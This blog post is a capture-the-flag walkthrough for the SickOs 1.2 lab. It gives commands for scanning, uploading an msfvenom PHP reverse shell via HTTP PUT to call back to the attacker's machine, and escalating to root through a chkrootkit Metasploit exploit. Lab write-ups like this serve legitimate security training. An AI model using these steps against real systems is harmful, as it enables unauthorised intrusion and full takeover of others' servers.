In this walk through I will explain how to solve the SickOs 1.2 challenge. This OS is second in following series from SickOs and is independent of the prior releases, scope of challenge is to gain highest privileges on the system. This CTF gives a clear analogy of how hacking strategies can be performed on a network to compromise it in a safe environment.
First Download Sick OS from Here
So, first let us find our target by using :
Our target is 192.168.1.105 Further we will apply nmap scan :
nmap -A -p- 192.168.1.105
As you can see that port 80 is open that means we can open this IP in the browser. Why not do that?
Opening the IP in the browser will show us the above image which is of no use. You can try and look into the page source but unfortunately you will find nothing there. That is why we will use dirb and to find the directories. And for that type :
As a result you can see we have found our directory i.e. test Open it in the browser as well.
It will show you the list of directories. So let us try and explore test directory via curl.
curl -v -X OPTIONS http://192.168.1.105/test
This exploring will show you that PUT is allowed that means you can upload through it.
So, prepare the malicious file that you would upload with msfvenom :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.113 lport=4444 -f raw
Copy the code from <?php to die() and save it in a file with .php extension.
Now to upload your .php file we will use the add-on poster.
Click on the tools from the menu bar. And then click on Poster from the drop down menu.
A following dialog box will open. Here, browse the file that you will upload and click on PUT option.
It will show you that the file is uploaded.
And you can see the same on your browser that you file will be uploaded (as in our case the file is shell.php)
Simultaneously, open metasploit and use multi/handler :
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 4444
After hitting enter button on your keyboard, run the file you just uploaded. It will give you a meterpreter session. Go to shell typing :
Now we need to import the python file to reach the terminal and to do so type :
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py
Now there might the kernel version that we could exploit so to check its version type ;
As you can see that version is not exploitable so we will leave it alone.
Moving further type the following to explore more and find something to be exploitable :
ls -l /etc/cron.daily
The above command will give you the list of the files. On observing you can see that there is chkrootkit. Some of its version are exploitable therefore we will check its version and for that type :
It will show you the version which is 0.49
We will now search for its exploit in the terminal of Kali by typing :
Hence, the exploits.
Now open metasploit and check the already opened session first and then look for the exploit by typing :
And the exploit which you have to use will appear. And to use this exploit type :
Then further type options so that you will know what options you are supposed to set. Checking the options you know you only need to assign he session and lport so type :
set session 1
set lport 8080
Now check whether you have gained another session or not and for that type :
And as you can see you will surely have one more session and so to open that session type :
sessions -i 2
As you open the session check what user you are in and for that type :
It will show you that you are in root so further type :
And to see the list of files in /root type :
In the list you will see that there is a text file and to read that file type :
Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here